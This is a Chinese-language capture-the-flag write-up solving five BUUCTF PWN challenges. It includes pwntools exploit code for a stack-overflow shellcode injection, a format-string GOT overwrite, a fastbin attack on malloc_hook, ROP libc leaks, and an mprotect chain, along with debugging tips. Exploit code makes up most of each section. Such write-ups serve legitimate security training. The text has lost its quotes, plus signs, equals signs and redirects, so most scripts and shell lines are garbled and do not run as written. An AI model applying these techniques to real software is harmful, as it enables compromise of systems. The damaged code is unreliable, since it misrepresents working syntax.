
1. 解题思路与工具准备最近在BUUCTF平台上刷了几道PWN题46-50题发现这几道题虽然难度不算太高但涉及的知识点比较全面。作为二进制安全方向的练习者我觉得有必要把解题过程记录下来既是对自己思路的梳理也能给刚入门PWN的同学一些参考。这几道题主要考察了栈溢出、格式化字符串漏洞、堆利用等常见漏洞类型。解题环境我使用的是Ubuntu 20.04配合pwntools、gdb-peda、checksec等工具链。建议在开始前先确保这些工具都已安装配置好sudo apt-get update sudo apt-get install -y python3 python3-pip git gdb pip3 install pwntools git clone https://github.com/longld/peda.git ~/peda echo source ~/peda/peda.py ~/.gdbinit2. 题目46基础栈溢出2.1 题目分析首先用checksec检查保护机制checksec ./pwn46 [*] /home/user/pwn46 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments可以看到这是一个32位程序没有任何保护机制没有栈保护、NX禁用、没有地址随机化。用IDA打开分析发现main函数中存在明显的栈溢出漏洞char buf[16]; read(0, buf, 0x100);2.2 利用思路由于没有NX保护我们可以直接在栈上布置shellcode。解题步骤如下确定偏移量通过gdb调试发现从buf到返回地址的偏移是28字节构造payload填充28字节垃圾数据 shellcode地址由于ASLR关闭栈地址固定可以直接硬编码shellcode地址2.3 完整exp代码from pwn import * context(archi386, oslinux) p process(./pwn46) shellcode asm(shellcraft.sh()) payload bA*28 p32(0xffffd580) shellcode p.sendline(payload) p.interactive()注意实际解题时需要根据调试确定shellcode的具体地址这里0xffffd580只是示例3. 题目47格式化字符串漏洞3.1 漏洞分析这道题的保护机制如下Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)程序中有明显的格式化字符串漏洞char buf[100]; fgets(buf, sizeof(buf), stdin); printf(buf);3.2 利用思路虽然开启了栈保护但我们可以利用格式化字符串漏洞泄露libc地址计算system地址覆盖GOT表中的printf为system下次调用printf(/bin/sh)时实际执行system(/bin/sh)3.3 关键步骤首先确定格式化字符串的偏移p.sendline(bAAAAb%p.*10)通过输出可以确定AAAA在栈上的位置比如第7个参数泄露libc地址payload p32(printf_got) b%7$s p.sendline(payload) printf_addr u32(p.recv(4))计算system地址并覆盖GOTsystem_addr printf_addr - (libc.symbols[printf] - libc.symbols[system]) payload fmtstr_payload(7, {printf_got: system_addr}) p.sendline(payload)4. 题目48堆利用之fastbin attack4.1 程序分析保护机制Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)程序实现了简单的堆菜单malloc(0x60)free编辑堆内容4.2 漏洞利用存在UAF漏洞free后没有清空指针。利用步骤分配两个chunkA和B释放A和B它们会进入fastbin通过编辑A的fd指针指向目标地址如malloc_hook附近两次malloc后第三次就能分配到目标地址写入one_gadget到malloc_hook4.3 关键代码# 分配两个chunk malloc(0, bAAAA) malloc(1, bBBBB) # 释放形成fastbin链表 free(0) free(1) # 修改fd指针 edit(0, p64(malloc_hook - 0x23)) # 重新分配 malloc(2, bCCCC) malloc(3, bDDDD) # 现在可以分配到malloc_hook附近 malloc(4, bA*0x13 p64(one_gadget))5. 题目49ROP链构造5.1 保护机制Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)5.2 解题思路程序存在栈溢出但NX开启无法执行shellcode。需要构造ROP链泄露libc地址返回到main函数再次触发溢出第二次构造system(/bin/sh)的ROP链5.3 ROP链构造第一次泄露地址pop_rdi 0x400703 puts_plt 0x4004e0 puts_got 0x601018 main 0x400637 payload bA*40 p64(pop_rdi) p64(puts_got) p64(puts_plt) p64(main)第二次getshelllibc.address puts_addr - libc.symbols[puts] system libc.symbols[system] binsh next(libc.search(b/bin/sh)) payload bA*40 p64(pop_rdi) p64(binsh) p64(system)6. 题目50综合利用6.1 题目特点这道题结合了多种技术栈溢出格式化字符串ROP堆利用6.2 解题步骤通过格式化字符串泄露栈地址和libc地址利用栈溢出构造ROP链调用mprotect将栈区域设置为可执行写入shellcode并跳转执行6.3 关键代码# 泄露栈地址 p.sendline(b%p.*20) stack_leak int(p.recvuntil(., dropTrue).split(b.)[5], 16) # 构造mprotect ROP链 mprotect libc.symbols[mprotect] payload bA*offset payload p64(pop_rdi) p64(stack_leak ~0xfff) payload p64(pop_rsi) p64(0x1000) payload p64(pop_rdx) p64(7) payload p64(mprotect) payload p64(stack_leak 0x100) payload shellcode7. 常见问题与调试技巧7.1 gdb调试技巧在关键函数下断点b *main b *vuln_func查看内存x/20wx $esp x/10gx $rsp查看堆状态heap bins heap chunks7.2 常见错误偏移计算错误一定要通过gdb确认偏移量地址对齐问题64位系统要注意栈对齐payload长度要是8的倍数one_gadget条件不满足多尝试几个one_gadget或构造ROP链设置寄存器7.3 实用命令查找gadgetROPgadget --binary ./pwn50查找字符串rabin2 -z ./pwn50快速测试expwhile true; do python3 exp.py; done